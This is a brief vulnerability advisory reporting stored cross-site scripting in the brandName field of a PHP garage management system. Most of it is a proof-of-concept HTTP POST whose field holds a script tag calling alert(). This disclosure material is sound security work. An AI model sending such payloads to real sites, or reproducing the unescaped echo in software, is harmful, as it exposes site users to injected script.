Title: Garage Management System 1.0 Stored Cross-Site Scripting

Author: tpaer

Date: 07.22.2022

Vendor:

https://www.sourcecodester.com/users/mayurik

Software:

https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html

#Description： #The Line 10 of createBrand.php sends unvalidated data to a web browser, which can result in the browser executing malicious code

#echo $createBrand->brandName;

#POC:

```
POST /garage/php_action/createBrand.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/garage/add-brand.php
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=m6rramo7f8jalaggbvjh84b1mm
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------259114429803
Content-Length: 472

-----------------------------259114429803
Content-Disposition: form-data; name="currnt_date"


-----------------------------259114429803
Content-Disposition: form-data; name="brandName"

hello(><script>alert(/test/)</script>
-----------------------------259114429803
Content-Disposition: form-data; name="brandStatus"

1
-----------------------------259114429803
Content-Disposition: form-data; name="create"


-----------------------------259114429803--
```